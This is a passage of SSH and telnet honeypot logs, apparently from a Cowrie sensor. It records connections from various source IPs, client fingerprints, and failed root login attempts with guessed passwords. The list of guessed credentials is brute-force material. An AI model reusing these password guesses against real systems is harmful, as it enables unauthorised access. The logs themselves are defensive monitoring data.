{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:22.711110Z","src_ip":"170.106.191.31","session":"ecd64a1771e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asf","message":"login attempt [root/asf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:23.011924Z","src_ip":"170.106.191.31","session":"ecd64a1771e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:23.428785Z","src_ip":"89.223.69.22","session":"ab71145e9399","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:24.082068Z","src_ip":"170.106.191.31","session":"ecd64a1771e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":43706,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1e8186de144","protocol":"ssh","message":"New connection: 77.94.47.83:43706 (10.17.0.5:22) [session: c1e8186de144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:49.137082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:49.142691Z","src_ip":"77.94.47.83","session":"c1e8186de144","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:49.266957Z","src_ip":"77.94.47.83","session":"c1e8186de144","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cevthrb","message":"login attempt [root/cevthrb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:49.634546Z","src_ip":"77.94.47.83","session":"c1e8186de144","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:50.760233Z","src_ip":"77.94.47.83","session":"c1e8186de144","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":37120,"dst_ip":"159.203.135.109","dst_port":22,"session":"6436bca630f9","protocol":"ssh","message":"New connection: 103.75.183.219:37120 (159.203.135.109:22) [session: 6436bca630f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:57.241103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:57.249348Z","src_ip":"103.75.183.219","session":"6436bca630f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:57.493402Z","src_ip":"103.75.183.219","session":"6436bca630f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"olga","message":"login attempt [root/olga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:58.227010Z","src_ip":"103.75.183.219","session":"6436bca630f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:59:59.474317Z","src_ip":"103.75.183.219","session":"6436bca630f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0083487033844,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:00:17.434933Z","src_ip":"49.88.156.34","session":"aee81debb0f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":54430,"dst_ip":"159.203.135.109","dst_port":22,"session":"d83bb4156f55","protocol":"ssh","message":"New connection: 103.82.132.16:54430 (159.203.135.109:22) [session: d83bb4156f55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:00:18.116482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:00:18.122249Z","src_ip":"103.82.132.16","session":"d83bb4156f55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:00:18.389138Z","src_ip":"103.82.132.16","session":"d83bb4156f55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"serega123","message":"login attempt [root/serega123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:00:19.253399Z","src_ip":"103.82.132.16","session":"d83bb4156f55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.56.3","src_port":45112,"dst_ip":"10.17.0.5","dst_port":22,"session":"20f164f819ff","protocol":"ssh","message":"New connection: 103.115.56.3:45112 (10.17.0.5:22) [session: 20f164f819ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:00:19.911328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:00:19.916769Z","src_ip":"103.115.56.3","session":"20f164f819ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:00:20.137682Z","src_ip":"103.115.56.3","session":"20f164f819ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:00:20.537229Z","src_ip":"103.82.132.16","session":"d83bb4156f55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pork123","message":"login attempt [root/pork123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:00:21.014507Z","src_ip":"103.115.56.3","session":"20f164f819ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:00:22.227661Z","src_ip":"103.115.56.3","session":"20f164f819ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.191.31","src_port":55038,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8c1b5965326","protocol":"ssh","message":"New connection: 170.106.191.31:55038 (10.17.0.5:22) [session: d8c1b5965326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:00:26.569145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:00:26.574194Z","src_ip":"170.106.191.31","session":"d8c1b5965326","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:00:26.643499Z","src_ip":"170.106.191.31","session":"d8c1b5965326","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@$$w0rd@2020","message":"login attempt [root/P@$$w0rd@2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:00:26.945289Z","src_ip":"170.106.191.31","session":"d8c1b5965326","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:00:28.017431Z","src_ip":"170.106.191.31","session":"d8c1b5965326","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.213","src_port":1295,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cea6f806b24","protocol":"ssh","message":"New connection: 102.88.137.213:1295 (10.17.0.5:22) [session: 3cea6f806b24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:00:39.576422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:00:39.581191Z","src_ip":"102.88.137.213","session":"3cea6f806b24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:00:39.767330Z","src_ip":"102.88.137.213","session":"3cea6f806b24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root!@","message":"login attempt [root/root!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:00:40.542792Z","src_ip":"102.88.137.213","session":"3cea6f806b24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:00:41.732308Z","src_ip":"102.88.137.213","session":"3cea6f806b24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":39198,"dst_ip":"159.203.135.109","dst_port":22,"session":"78c322adb4f5","protocol":"ssh","message":"New connection: 103.27.238.116:39198 (159.203.135.109:22) [session: 78c322adb4f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:00:53.020860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:00:53.026930Z","src_ip":"103.27.238.116","session":"78c322adb4f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:00:53.291913Z","src_ip":"103.27.238.116","session":"78c322adb4f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator","message":"login attempt [root/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:00:54.085461Z","src_ip":"103.27.238.116","session":"78c322adb4f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:00:55.353308Z","src_ip":"103.27.238.116","session":"78c322adb4f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.145.60","src_port":34498,"dst_ip":"10.17.0.5","dst_port":22,"session":"7043b3d86397","protocol":"ssh","message":"New connection: 45.148.145.60:34498 (10.17.0.5:22) [session: 7043b3d86397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:01:05.523827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:01:05.529222Z","src_ip":"45.148.145.60","session":"7043b3d86397","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ec